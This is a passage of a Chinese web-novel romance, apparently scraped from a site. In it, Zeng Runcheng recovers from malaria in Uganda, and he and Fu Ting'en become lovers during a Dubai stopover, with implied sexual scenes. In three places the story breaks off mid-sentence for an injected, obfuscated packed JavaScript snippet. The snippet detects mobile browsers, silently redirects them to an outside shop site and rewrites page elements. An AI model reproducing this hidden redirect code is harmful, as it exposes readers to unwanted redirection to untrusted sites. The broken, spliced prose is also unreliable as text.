曾闰成告诉了她跟妮娜的对话,琳达一脸大无语的表情,“曾,你们华国人不是家庭观念很重吗?你会随便跟一个外国人走吗?” 曾闰成叹了口气,“看情况也看人,如果是像她哥哥那种,就算家庭观念很重,也会选择脱离这种原生家庭。” 琳达摇头,“我们这里不止家庭,村落观念也很重,即使她愿意,你可能也带不走她。何况她不会愿意的,乌干达一夫多妻制家暴很常见,有的女人哪怕被打死,也要死在自己男人身边。” 曾闰成也觉得可能是自己多事惹来的麻烦,他叮嘱琳达不要跟傅廷恩提这个推测,免得横生枝节,他是特意支开他。 傅廷恩手里拎着几样水果,领着一行医生走了进来。一个主治医生模样的人,详细的给曾闰成做了检查,又用英语跟他交流了身体现在的感受,最后点点头,“没有大问题了,但是完全康复肯定还需要一段时间。如果能起身,就可以把导尿管取了。” 曾闰成才发现病床一侧挂着个塑料袋,里头有少量淡黄色液体,他顿觉不好意思的低下头。 傅廷恩松了口气,刚还哭得稀里哗啦现在又笑着揉他头发,“我都帮你倒好几次了,这有什么不好意思的,我每天还要查看好几次,看导管有没有脱落。” 曾闰成如果不是手上实在没力气,真是恨不得把他嘴捂上,医生就算了,琳达是听得懂汉语的好吗! 好不容易把医生送走,校长又领着科目组的几个老师登场,傅廷恩看出曾闰成有些乏力,示意他不要说话,他跟校长交流了一下病情,又表达了支教至此结束的意愿。 校长自然是同意的,来支教一次差点把命丢了,别说本人了,校方也是一阵后怕,何况这位还是教育局再三叮嘱要多加照顾的。 送走校长一行,曾闰成再度陷入沉睡,傅廷恩站在床头看着他的睡颜,完全不知道琳达是什么时候离开的。 他守着曾闰成输完液,也觉得困意袭来。好在这是单间病房,病床比普通病房里的要宽大许多,他没有脱衣服,就靠在曾闰成的身边沉沉睡去了。 曾闰成是被尿意憋醒的,睁开眼,是傅廷恩宁静的睡颜。他的头发、眉毛、眼睫都带点西方人的特征,浓黑且茂密,使原本英俊的五官多了几分阳刚之气,尤其这几天疏于打理,下巴上冒出了短短的胡茬,他的廷恩看上去特别有男人味。 然而他紧紧的依偎在他身边,神情里有种孩童般的纯真依恋,令曾闰成心里升起无限的暖意。他一次次的为了他,来到海德堡来到富州的小山村来到这个偏远的国度,一次次的守候、支持、拯救他。 “廷恩,廷恩……”曾闰成在嘴里轻声的反复的咀嚼着这两个字,这是上帝赐给我的天使,是人世间一切美好的源泉,是困苦里的甜,“廷恩,我爱你……”不是合适的氛围,没有特别的日期,但此刻他随心所欲就是很想说出这三个字,他有生以来从未对任何人说过的三个字。 他以为傅廷恩已经睡沉了,但傅廷恩心里挂着他的病情,怎么可能完全睡踏实,他稍稍一动,傅廷恩就醒了,只是太困倦,睁不开眼睛,直到曾闰成喃喃念叨着他的名字再说出那三个字,他瞬间清醒过来,一双眼蓦地睁大了,对上了曾闰成惊愕的表情。 曾闰成挣扎着想要起身,“我要上厕所。”傅廷恩按着他,“再说一遍。”他的眼眸铮亮得可以照亮整个房间,浓厚的喜悦点染他的眉梢眼角。 曾闰成脸红得跟煮熟的虾米一样,“我真的要上厕所了。”有的话,面对面是真说不出口。 傅廷恩没有追着不放,反正他听见了,他咧着嘴傻笑,把他扶到厕所门口,曾闰成执意要他站门外,“我自己能行。” 傅廷恩逗他,“我帮你扶着吧?”门啪的一声甩上了。 曾闰成睡了一觉精神确实好了不少,上完厕所稍微的洗漱了一下。几天没洗澡,他觉得浑身都是味,亏傅廷恩抱那么紧,还在他脑袋上亲来亲去。他一出厕所门,就被傅廷恩一把抱起,直接送回了床上,自己也跟了上去,两个人面对面的躺着。 没有什么语言交流,两双眼睛一对视,两片唇就紧跟着贴合在了一起,没有激烈的啃咬,轻柔的互啄着,感受着彼此的温度和气息。 恍惚间,曾闰成想起两人在莱茵河畔那次,傅廷恩让他赔一个初吻给他,他懂他的意思,微抬着头站在那里等待,傅廷恩也是这样轻轻的吻了他,连互啄都没有,但曾闰成就是感受到了他的珍惜与真意。也许真正的心动就是从那一刻起。 寂静的午后时光,医院的病床上,两人缱绻的亲吻着,用唇舌无声的诉说着“我爱你”,“嗯,我也是”。 ———————————————————————— 曾闰成休养了整整一个星期,才康复出院,其实三四天的时候基本无碍了,这种恶疟来势汹汹,但只要控制住了,恢复起来也很快。 他惦记着傅廷恩的毕业答辩,想让他早点回伦敦,结果被他牢牢的按在病床上,“一年有三个时间段申请答辩的好不好?九月不行我可以等十一月,明年二月也可以。有什么比你的身体更要紧?你多住两天养结实点,我们还要坐很长时间的飞机。”所以等他们一起踏上回程,已经是十来天以后的事情。 临行前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门外传来轻轻的叩门声,“进来吧。”是一脸歉疚畏缩的妮娜,看到曾闰成她的眼泪一下子就流了下来,刚在班上,小姑娘一直低着个头,眼神都没敢跟他对视。“老师,对不起。”豆大的眼泪从她黑色的眼眶坠落,微厚的嘴唇颤抖着。 曾闰成叹口气,让她进来,转身从傅廷恩口袋里抽了一张一百元的美钞,想想,又抽了一张,递给妮娜,“拿着。妮娜,我再问你最后一次,你真的不愿意离开这里离开你那个家吗?” 妮娜只是低着头哭,也不说话。 曾闰成明白了她的意思,只好把钱塞到她手里,“妮娜,人生的路是自己选的,你真的是个很聪明的孩子,希望你不会辜负上帝赐予你的天赋。” 曾闰成送走妮娜,转头看见傅廷恩一脸笑眯眯的表情靠在床架边,“你是不是笑我太圣母心了?”傅廷恩摇头。“我是真觉得这孩子可惜了,她是学习的苗子……” 傅廷恩一把将他搂过去,手放他腰上,贴着他的脸,低声笑道:“你刚从我口袋里拿钱那么自然,是不是意味着……你是我的人了?”之前两人在金城分别,他担心他把东西都还了以后手上拮据,要转账给他,曾闰成死活不肯。 “我是没有现金……”傅廷恩用吻封住他的嘴,之前在医院到底公共场合而且顾及着他的身体,最多是亲亲抱抱,这一次他很激烈的啃他,手也伸进衣服里,两人都有些激动,倚靠着的床架子都摇晃起来。 半晌,曾闰成气喘吁吁的推开他,“不行,这房子隔音效果差得很。”他看着傅廷恩情潮密布的红润脸庞,忍不住逗他,“这事在这里可是违法的,小心抓你去坐监禁。” 傅廷恩也知道此时此地不合适,还得再忍忍,他抓着曾闰成的手不放,“你答应以后都花我的钱,这事就先算了。” 曾闰成哭笑不得,“我有薪资的,你还是花家里的。”他帮导师做项目,导师也仍然按照半工支付他薪水,他账户上一两万欧还是有的。 “谁说我花家里的?我名下有信托基金好吗,澳洲几个公司我有持股,每年都有分红的。”傅廷恩相当不服气被看扁,“等我拿到学位证,先去家里公司练手,之后一定会组建自己的团队,我会赚很多很多钱给你花。” 曾闰成听得心里暖暖的,“我要很多很多钱干什么,我有一个你就够了。”火堆被引燃,两片唇又无可避免的粘合在了一起。 55.第 55 章 情侣之间的那种腻歪真的是无处不在,两人从坐车去机场、行李托运、过安检、候机,一直到头等舱坐下,傅廷恩总是时不时的趁别人不注意亲他一下,摸摸他头发,捏他脸颊,各种小动作。 曾闰成还比较能克制一点,但是看傅廷恩弯腰从地面的传送带上拎行李,他也忍不住伸手在他挺翘的屁股上拍了拍。两人之间那种暧昧的氛围,引得一旁观摩的空姐吃吃发笑。 卡塔尔航空是出了名的土豪航司,傅廷恩心机的抢到了双人舱,等两人在沙发上躺下,毛毯一盖,傅廷恩的手就伸了过来,曾闰成把他打回去,“同学,这里不是无人区好吗?” “可是别人也看不到呀,”傅廷恩趴在他耳朵边上,十分小声的磨蹭乞求,“我就跟它打声招呼,这么久了都不熟……” 尽管耳朵里热浪滚滚,令人酥麻颤栗,曾闰成还是将头摇得像拨浪鼓,“不行不行不行,”他用嗔怪又安抚的眼神看他,傅廷恩就知道让他接受空中是有难度的,多亏他还准备了后手,“闰成,迪拜有家超七星级酒店,我们中转的时候休息几天行不行?”他们这趟仍然是在迪拜转机,然后飞伦敦,傅廷恩的生日就在这几天间,他强烈要求曾闰成陪他过完生日再回海德堡。 他年年将他的生日放在心上,曾闰成当然也想陪他过生日。但是他不太喜欢酒店的氛围,拒绝得颇为干脆,“不行,我们直接回伦敦不好吗?刚好你生日可以叫上永安一起吃个饭。” 兄弟诚可贵,爱情价更高。傅廷恩怎么可能就此放弃,“闰成,我跟你说,它们家有个特色装修,绝对首创,后边的都是学它的。”他在他耳朵边上小声的嘀咕,不断的游说。 曾闰成看着他雀跃的眉眼,露出一个意味不明的笑容,“看样子,是试过?” 傅廷恩立马坐直了,举起三根手指,“绝对没有!”又趴回他耳边,“但我当时就在想,如果有一天能跟你……” 曾闰成赶紧用耳机把耳朵堵上,“我要看会电影。你先睡一下。”他不打算满足他的恶趣味。 傅廷恩怎会轻易妥协,总是在曾闰成拿掉耳机的间隙向他哼哼唧唧,要不然就在毛毯底下扯过他的手,让他感受一下他蓬勃的欲|望,在他手心里写字,反正各种名堂轮番上演。 曾闰成矜持又心软,而傅廷恩刚好极擅长水磨工夫,最终他们落地迪拜后,还是改签了飞伦敦的日期。 其实傅廷恩想在迪拜休息两天,除了某些方面的想法,也有担心曾闰成身体吃不消的因素。 乌干达飞迪拜十二个小时,虽然头等舱,空间到底有限,再转伦敦又是七个半小时,反正他坐过来的时候是累得够呛,可能当时牵挂着曾闰成的病情,更觉得飞行漫长且难熬。曾闰成身体才刚好,这么连着飞实在怕他累到。 两人相携着走出机场大厅,曾闰成戴着墨镜,一身休闲打扮,斜背着一个随身小包。傅廷恩一只手拉着大尺寸行李箱,一只手挽着他的肩膀,搁肩膀上的手时不时扒拉一下他头发,捏一捏他耳垂。 “看路吧,大哥。”曾闰成手里拿着护照本,忍不住拍他两下,这小孩实在太粘人了。 “不看,就不看,我就跟着你走……”傅廷恩带笑的眼睛粘在曾闰成身上。 这是在遥远的阿联酋,两人举止都比较放松,四周的人群也没有投来异样的目光,即使偶有注视,也是因为两人出色的外表和气质,而不是因为性别。 然而万万没有想到,在这个人头攒动的国际机场,竟然也能碰到熟人。一个矫健的身影跑过来,先是大喊了一声“傅廷恩!”曾闰成还没有来得及闪开,身影又一把握住了他的手,“曾老师!” 曾闰成吓得墨镜都掉下来一半,仔细一看,的确是认识的人。 傅廷恩已经把肖震握住曾闰成的手移到自己手上,“好兄弟!你小子怎么也在这里?!” 三个人一顿寒暄,肖震这才想起身后晾着的美女,拉过来介绍了一句,“我女朋友,娜娜。” 傅廷恩才到英国那两年,因为春节都会回金城,跟肖震还保持了联系,过年期间总要呼朋唤友的出来聚一下。 这两年因为曾闰成的关系,过年期间基本没回去,也就碰不上,完全没想到会在这个遥远的异国他乡重逢。 “这就是缘分的安排呀!”肖震拍着他的肩膀,“我带女朋友出来玩两天,你们呢?转机还是?” 他其实老早就看到了傅廷恩,这家伙的外表实在太惹眼,个高腿长,在帅哥满天飞的阿联酋都相当引人注目,尤其是他还一脸坏笑的搂着个男人。 肖震盯着那个戴墨镜的男人半晌,觉得非常眼熟,在记忆中搜寻了许久才找到气质对应的人物,当场惊得目瞪口呆,这是眼看着两人要走出他的视线,才反应过来,上前拦着相认。 当着外人的面,他没有对傅廷恩和曾闰成这明显是在谈恋爱的状态表示惊讶,只是眼神在两人脸上梭来梭去,兴味盎然。 “我们转机飞伦敦,先在这边休息两天。”曾闰成已经石化了,全程由傅廷恩作答。 “帆船?” 傅廷恩点头,肖震一把搂他肩膀,“走走走,同一家,车队已经在外面等了,他们倒省事了。” 帆船酒店是全世界第一家七星级酒店,1999年就开业了,即使后面新开的柏悦等设施不错还更新颖一些,但名气都不如它,国内外有钱人大多还是在帆船酒店下榻。 肖震拖着傅廷恩就走,倒把美女和曾闰成落在后面,美女冲曾闰成粲然一笑,伸出手来,“我是娜娜,您怎么称呼?”很自来熟的样子。 曾闰成报了名字,正要伸手回握,傅廷恩已经走回来牵住他,“一起一起。”他一只手抓着曾闰成的两只手腕,另一只手伸出来跟娜娜握了握,曾闰成只好冲娜娜尴尬又不失礼貌的笑了笑,娜娜不介意的回了曾闰成一个了然的wink。 七星级酒店的迎接车队非常土豪,两辆劳斯莱斯幻影打头,八辆宝马缀后,一路招摇的将他们送到了帆船酒店。礼宾侍从早已门口等候,帮他们送行李办入住,速度很快又很妥帖。 肖震他们一早定好了房型,傅廷恩在曾闰成目光的逼视下一路向下,选了个价位中等的,两百多平的复式套房,一楼是吧台客厅娱乐空间,二楼是卧室浴室,两层都是无敌海景,湛蓝的海面海鸥排布,阳光沙滩棕榈树。 曾闰成爱干净,进门扔下背包,就去洗澡。傅廷恩在他背后吹口哨,“这么迫不及待?” 曾闰成懒得理他,等他裹着浴袍出来,傅廷恩已经收拾好了行李,把衣服挂进衣柜里,鞋子都让客房拿走干洗了。 “你让他们把鞋子拿走了,等下吃饭穿什么?”肖震约了他们一块在海底餐厅吃晚餐。 “穿这个。”傅廷恩变戏法似的拿出两双夹板人字拖,和两套一模一样花衬衫、沙滩裤。他刚在酒店大堂就瞄到旁边专店有卖,趁曾闰成洗澡的功夫,就让他们送了上来。 “这么花,我可不穿。”曾闰成摇头,他从没穿过这么花哨的衣服,而且还是情侣装。 “你光着也可以,反正除了你浴室那套其它我都送洗了。”傅廷恩生怕从非洲携带什么埃博拉病毒,一个疟疾把他整怕了。 等他洗完澡出来,曾闰成已经裹着浴袍躺床上睡着了,十几个小时的飞行,其实他也很累了。 傅廷恩走过去,亲了亲他额头,隔着浴袍浴巾把他抱怀里,胸腔里填得满满的,竟然也没有什么旖思遐想的跟着睡着了。 但是等睡醒的时候,双方都有点愣住了,大概是睡梦中有翻身或挣扎,浴袍浴巾掉到了床边,两个人竟然赤|条条的搂抱在一起。 傅廷恩松开手,愣愣看着被子里白皙赤|裸的躯体,这其实是他第一次完全的完整的看到,从头发丝到脚趾尖。 他像一朵倒映在湖心里的云,既有飘扬在天空的轻柔,又有游弋在水面的灵动。他的眼睛里有漫天的红霞,又有满池春水,眼帘闭合间,红霞翻飞,水波荡漾,令傅廷恩神思飘渺,无法言语。 曾闰成既然答应他在迪拜逗留,自然是有心理准备,他想到那些视频、信息里不能被第三个人看到的讯息,其实也有点期待,结果骚话高手真正到了床上跟个傻子一样,他被那过分炙热的目光吓到,转身想钻被子里去。 他一动,傅廷恩总算反应过来,未曾错失良机,一把搂住了他,翻身覆了上去,他轻柔的吻着他,曾闰成开始有些被动,渐渐就被他高超的吻技挑逗得情动起来,伸出手去,回抱住他的肩膀,唇舌交缠间水声潺潺。 两人从视频里走到现实中,医院学校飞机上都不是合适的地方,至少不是曾老师认为合适的地方,此刻在这样静谧温馨的环境中裸裎相见,对彼此的渴望潮水一般汹涌而来。傅廷恩十分自信的想要兑现让他舒服的誓言,然而…… 傅廷恩颓丧的缩在床头,黑发遮住了半边脸庞,眼泪跟不要钱一样“哗哗”的流,曾闰成手里捧着纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687409|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾盒给他擦了又擦,曾老师总算见识到他们家这孩子泪腺有多发达了,五年前分别的时候哭成这样,之前在勃朗庄园也是,前几天在医院里也是,眼泪就跟坏了的水龙头一般完全关不住。 曾老师扔下纸巾盒,心疼的把他家宝宝搂怀里,“廷恩,你做得很好,我觉得很好,真的……” 他拨开他的头发,凑上去想要亲亲他,傅廷恩却转头扑进了被子里,“哇哇”的哭,丢脸!太丢脸了!他傅廷恩这辈子都没这么丢脸过!一世英名毁于一旦! 曾闰成没有那么多的经验,他觉得这样挺好的,那种整晚整晚的折腾才让他受不了,全身跟被碾碎一样没有一个地方不疼。他趴耳边上哄他,“肯定是饿了又累了,我们先吃饭好不好?等晚点……再来。” 片刻之后,傅廷恩从被窝里抬起头,抬肘擦了擦脸颊,伸手拿过床头柜上的手机,先打给肖震,“震,我们明天再约,今天没空。”又打给客房,用英语吩咐他们送餐食上来。 “不去吃饭了?”两人的目光对视,曾闰成不自觉的瑟缩了一下。 傅廷恩一脸从哪里跌倒就要从哪里爬起来的坚定表情,“嗯,我们需要好好研究一下,这个问题影响到我们今后的婚姻生活。”他十分理性的分析了一下,不能怪他太快,是他们家曾老师太迷人。他要少倾注感情,多放入技巧,“呼……”傅廷恩深深的呼了口气,攥了攥拳头。 “婚……婚姻生活?”曾闰成舌头都打结了,却被重拾信心扑过来的某人捋直了…… …… …… 两人的唇舌都因为瞬间的酥麻而暂停了吞咽,一种难以形容的满足感从彼此的胸腔一同升起。上帝说,女人是男人的一根肋骨,从另一个角度来说,是指相爱的人会觉得对方是自己身体的一部分,当你拥有TA才能体会到生命的完整。 此刻,陷入情欲当中的两个人就有这种感觉,当一同奔赴极乐的时候,四肢百骇的酥麻感,会产生一种对方的血液在自己的身体里奔涌的错觉,生命好像连成一体,没有什么可以将他们分开。 天花板上镶嵌着巨大的玻璃镜…… 深入的交流休整了一天一夜后,两人疲累尽消,洗了个澡,容光焕发的换了情侣装,拖着手下楼找肖震和娜娜吃饭去了。 等电梯的间隙,傅廷恩附在曾闰成耳边低声询问,“……要不要我背你?”他重拾自信,证明了自己,眉梢眼角都蕴含着得意与满足。 曾闰成白他一眼,“你腰疼不疼?”其实傅廷恩很温柔,尽管……也没有太多不适,但是不能惯着他,这家伙明显开始展露“三天不打上房揭瓦”的特性。 “老师多虑了,”傅廷恩跟他咬耳朵,“今晚我还想再好好讨教讨教一下,还有很多姿势急需解锁……” “滚!”曾闰成真的特别容易脸红,听他一边喊老师一边讲骚话,羞耻感涌上心头,耳朵尖都红透了。 傅廷恩的眼睛跟胶水一样粘在他脸上,看着他泛红的脸庞害羞的眉眼,只觉得整个胸腔都满满的,痒痒的,他一刻都忍不住想要跟他说话逗他的欲望,“老师,你穿这种衣服真好看。” 曾闰成很少穿这种花哨的衣服,日常总是白衬衫、条纹衬衫、格子衬衫,要么就是白T恤,各种纯色T恤。但是他皮肤很白,穿上这花衬衫竟然有种反差的美感,让人怎么也看不够。 “你再叫老师,我要打你了。”曾闰成严肃了面色,傅廷恩十分乖巧的摊开手掌心。 肖震看着餐厅那头打闹着走过来的两个人,忍不住捂住了眼睛。之前傅廷恩打电话的声音暗哑得……啧啧,之后他发信息调侃他也没有回复,可见忙成什么样子。 娜娜有点不理解,“怎么了?他们两个很般配呀。如果让我拍点照片和视频发某音某书,保证火!”娜娜是个坐拥百万粉丝的小网红。 “不是说不配,就是吧,怎么说呢,”肖震不能泄露这两人之前的关系,只能斟酌着措词,“就是说有一天你发现你姨和你叔在谈恋爱,你会怎么想?嗯,不够准确,应该说你舅和你叔在谈恋爱,你什么感觉?” 娜娜被他这个形容给弄懵了,设想了一下,我舅舅和我叔叔?呃,怎么感觉鸡皮疙瘩都翻起来了。 肖震冲她点点头,“再想想,他们现在穿着情侣装,牵着手向你走过来了……嗯,还毫不避讳的当着你的面打了个啵。” 娜娜先捂眼睛,又去堵他的嘴,“哎,你就放过我吧,你一个人想就好。” 56.第 56 章 肖震请的海鲜大餐,从蓝鳍金枪鱼刺身、阿拉斯加帝王蟹到咖喱大波龙、澳洲黑鲍应有尽有,曾闰成的食量和娜娜等同,应该还略有不如,傅廷恩帮他剥龙虾、除蟹壳,十分细致周到。 他和肖震喝威士忌,又起身到吧台亲自给曾闰成和娜娜各调了一杯低度数的鸡尾酒。 娜娜羡慕得不得了,“这么好的男朋友哪里找的?”她内涵了一把肖震,肖震只在一边坐着笑,完全不会招呼她,跟那个时候伺候袁立雅简直两码事。 曾闰成摆摆手,“不是找的,是别人调教出来的。”他答得一本正经,傅廷恩勾起嘴角,回了他一个“你等着”的眼神。 肖震又把眼睛捂上了,娜娜哈哈的笑起来,邀请曾闰成帮她拍几张照片。其实她带了自拍杆,但是自拍他拍还是有区别,她想混熟一点,看曾闰成会不会同意让她拍几张照片,这样她新视频的卖点就有了。 曾闰成对这个自来熟又爱笑的女孩很有好感,尤其看了她经营的账号,觉得这种努力靠自己赚钱的女孩很值得佩服。其实他和肖震坐一块也有点小尴尬,两个人都尽量避免眼神的交汇,于是和娜娜起身,吹着海风,拍着照片,慢慢走开了。 肖震这才长长的呼了口气,仰头灌了一大口威士忌,“我跟你说,曾老师坐这里我都没敢大吃大喝,始终有老师的威严感笼罩着,实在念书那会他也不凶。” 傅廷恩笑起来,“你这是固有印象。其实他很好,很温柔……” 肖震伸出手掌压住额角,“打住,我求你了,我今天受到的刺激已经够多了。”他迫不及待追问,“廷恩,你什么时候跟曾老师走到一起了?” “你还记得凌倩生日那次吗?”傅廷恩提醒他,“我说我喜欢男生……” 肖震一脸不可思议,“难道你从那个时候就……” “其实不准确,我不是喜欢男生,我是喜欢他。”傅廷恩的目光追随着沙滩上那道熟悉的身影。 肖震吸了口气,“难怪立雅一直说你有喜欢的人。我还说不可能,我怎么不知道,原来……竟然是真的。”他惊讶得又灌了一口酒,“老大,你真是瞒得够深的。”他从没想过傅廷恩竟然真的喜欢男人,他俩可是交换过不少“珍藏”杂志的交情。 “你跟立雅分了?”傅廷恩记得大一的时候肖震还和袁立雅在一起,两人都申请到了新加坡的大学,第一年聚会两人还如胶似漆。 说起这个话题肖震更是猛灌一口,直接把一杯都喝完了,脸上也闪过几分阴郁,“嗯,分了,她把我绿了。” “呃……”傅廷恩有点不知道该怎么安慰,感情上的事从来都是如人饮水冷暖自知,只能拍拍他的肩膀。 肖震反倒摇摇头,“没所谓。世界这么大,女人这么多,男人有了钱要什么样的女人没有?”新加坡的学制更短,肖震已经进入家族企业,开始社会人的生活了。 他喝了一点酒之后,打开了话匣子,跟傅廷恩交流了一下恒雅几个同学的近况,“你说起凌倩生日那次,我倒想起这个小公主来,听说她在美国玩得很开,经常参加多人运动。上次家里还让我跟她相亲,简直没把我笑死……” 国外的大学生活丰富多彩,各种活动聚会层出不穷,如果没有自控能力,在酒精、毒品的加持下,很容易滑入堕落的深渊。 傅廷恩看着远处曾闰成的身影,颇为感慨,虽然爱他的路充满了艰辛,也有痛苦,但也正是因为有他的存在,他的心里始终有一根底线,觉得自己不可以变成那样的人。不可以变成会让他鄙视唾弃的人。 傅廷恩和肖震喝完两杯,起身走到沙滩上,咸湿的海风带来舒适的凉意。他走过去牵起曾闰成的手,他也回握住他,两个人迈步在温软的细沙上,海水冲刷着脚背,海风拂动着发梢,两行脚印逐渐远去,娜娜在他们背后举起了手机。 傅廷恩回到酒店,刚把娜娜拍的这张照片传到ins账号上,不到五分钟,江永安的电话就打了过来,“舒服呀,去迪拜度假了是吧?也不带上我。还穿情侣装,啧啧啧,这照片谁拍的啊?拍这么美型!” “那可不,百万粉丝博主,拍照肯定是专业水准。” 随着这通电话还发过来一张照片,点击打开,是江永安跟一个男生的接吻照。仔细看,这个男生是莱昂。 “跟前男友复合了?” “他老来找我,最近又没什么新对象……我可没有你狠心。” 傅廷恩轻咳一声,江永安会意,立马转了话题,“怎么?就允许你撒狗粮,不能让我得瑟一回了?” “我可没说不允许,不过吧,你这照片也拍得挺好,不知道发给你姐看看,她感觉怎么样?” “操!傅廷恩!你敢!你你你……”他‘你’了半天,估计在撤回。 “晚了我已经保存了,回头我把航班号发给你,准时来接机!迟到后果自负啊。”傅廷恩挂了电话,把靠在床头抽烟的曾闰成揽进怀里,两人在烟雾弥漫中接了个长长的吻。 “江永安是你最好的朋友?”曾闰成开始尝试去了解傅廷恩的生活,江永安他见得最多,但是以傅廷恩的性格朋友应该很不少。 “嗯,”傅廷恩点头,“当年我在牛津他在剑桥,经常一块玩,他追求过我,但是我说没感觉,他也就算了,拿得起放得下。之后我们就是兄弟了。”傅廷恩对曾闰成是从无隐瞒的。 曾闰成在恒雅只教过六班和七班的数学,江永安在八班,校园里可能打过照面,但是不熟,后面一次次的接触才慢慢了解,觉得他是很健谈很开朗的人,“为什么没感觉?其实他不错。” “没感觉就是没感觉,闰成,你知道吗?”傅廷恩将他搂在怀里,轻啄着他的眉眼,“当你走进我们教室,我看见你的第一眼,我就喜欢你。” 曾闰成无语望天,“那时你才多大?太早熟了吧?不是,一点性别障碍都没有吗?” “是你晚熟好不好?”傅廷恩得意的笑,“不过不晚也不能便宜我,再说这事其实跟性别没有关系,只跟人有关系,后来我在剑桥……”完了,说漏嘴了。 曾闰成将他推开一点,似笑非笑的睨着他,“剑桥怎么了?说呀。”他爱惨了他脸上的这种表情,最销魂莫过于原本清冷的人为你爱恨嗔痴,他恨不得将他揉进心口,只能以吻代吃将人吞入肚里。 曾闰成被他亲得透不过气,使劲推开,红着脸在他背上拍了一掌,“别想蒙混过关啊……” 傅廷恩没想蒙混,无比满足的搂他在臂弯,低声道,“后来在剑桥其实有不少男生追我,有几个长得也挺帅的,但是试了一下都不行……所以不是性别的问题,是人的问题,不是你就不行。” 曾闰成揪他嘴巴一下,“这小甜嘴……”却也忍不住凑过去亲了亲他的唇,眼眸里倒映出来的仍然是五年前的那张脸,璀璨的笑容一如当年,这仍是当年他揉着头发称赞的百分男生,当时就在想这么优秀的男生最后会便宜了谁?万万没想到是便宜了自己。 傅廷恩在这段感情里没有自信,其实曾闰成又何曾有呢?他觉得他的廷恩真的无一不好,反观自己……他甚至不敢去回想那个人以及与那个人相关的事。 低沉温暖的声音仍在耳畔回响,“至于障碍是真没有,后来我看到很文艺的一句话:见到你的那一刻,我的心里有一场海啸。我想这是写我的体会。” 傅廷恩低头看向臂弯里的人,感谢上天的厚爱,美梦成真,能拥他入怀。而多年的深情,直到今天才有机会剖白。 曾闰成回他以深吻,两人在灯火阑珊中,用身体热烈的向彼此倾诉着爱意,十指紧扣的一起迈入欢愉的殿堂。 他们在迪拜停留了三天,中间有一天是傅廷恩的生日,他们约肖震和娜娜吃了个饭,也没说生日的事情,没想到肖震却记得,偷偷安排了生日蛋糕。年少时候的感情总是特别纯真一些,四个人度过了一个愉快的夜晚。 回到酒店房间,傅廷恩问曾闰成:“我的生日礼物呢?” “明天上街补给你。”这两天两人光顾着腻歪,都没有出门采购。 傅廷恩摇头,“不行,今晚上就要,现在就要。” “那可没有。”曾闰成一看他那个表情就知道他在打什么主意,转身要走,被人从背后一把抱住,他在他耳边轻轻呢喃,“戴着那个耳扣,跟我做好不好?就当送我的生日礼物了。”那个耳扣,曾闰成怕被肖震和娜娜看到,这几天都没有戴。 他不断歪缠着他,在他耳朵边上各种厮磨恳求,二十出头的年轻人你指望他在这件事上有节制,完全不可能。 曾闰成到底拗不过他,只能遂了他的心愿,天花板的水晶镜面里倒映出重叠的身影,耳鬓的星芒一如璀璨的时光。 从这天起傅廷恩就不肯他再把耳扣摘下来,“你戴着真的很好看。”他的手指轻轻划过他的耳垂,眼神痴迷,“你戴着它,我就觉得你是完全属于我的。” 好看确实是好看的,也不是那么的夸张,曾闰成不想让他家小狗失望,也架不住小狗的撒娇功力,只好随他去,但第二天两个人拖手逛街采购衣服,回头率是显而易见的增高了。 曾闰成自认品味欠佳,从穿到戴都由着另一位打扮,迪拜是购物天堂,傅廷恩兴致勃勃的带着他将商超mall的高奢店逛了个遍。谁说男人不喜欢逛街呢?那得是看给谁买。 至少傅廷恩带着曾闰成从头到脚,从里到外买了三四套,还意犹未尽,曾闰成开始还因为一件T恤几千块跟他争执了一下,因为他确实穿不出三千块的T恤和三百块的有什么区别。但是在傅廷恩“你答应过以后都花我的钱”质问中,败下阵来。 两个人的成长环境不一样,三千块于傅廷恩就像三百块于他,一定要对方迁就自己的消费水准确实没必要。买就买吧,又不是天天来迪拜。 但是在傅廷恩想要买一对情侣对表的时候,他还是坚定的拒绝了,那谁送的那啥表还一直躺在柏林庄园的床头柜里,他没有戴表的习惯,花大几十万买个闲置是真没必要。 “可是我想跟你戴一样的手表,这样你每次看时间都会想起我。”傅廷恩想用撒娇老一套,拽着他的袖子摇晃。 “我不看时间也会想起你。”曾闰成不为所动,“你实在想买,买你自己的就好。” “那不行,我又不是没有,”傅廷恩晃了一下手腕上戴着的,“人家就想跟你戴一样的嘛。”他撅着嘴故意学女生嗲嗲说话的样子也怪可爱的。 曾闰成只能退让一步,“那买个运动手表好了,还能监测心率、计算步数。” 傅廷恩思索了一下,“也行,我还可以每天看到你走了多少步路。”他成功被说服,拉着曾闰成买了两块运动手表,倒是跟他们的休闲装很配。曾闰成抢着付了款,“这才是生日礼物。你有你的心意,我有我的。” 迪拜的电子产品比伦敦便宜不少,曾闰成又多买了两块不同颜色的。 “这是给谁啊?” “江永安和他男朋友。” “哦。”傅廷恩懂了,他知道曾闰成是想答谢江永安对曾闰霞的照顾,他一路跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但对曾闰成,满满的爱意简直是从眉梢眼角淌出来,他没喝酒,一半的时间都托肘支愣着下巴,笑眯眯的看着曾闰成,那一脸沉醉的傻样简直让人没眼看。爱与不爱,就是这么一目了然。 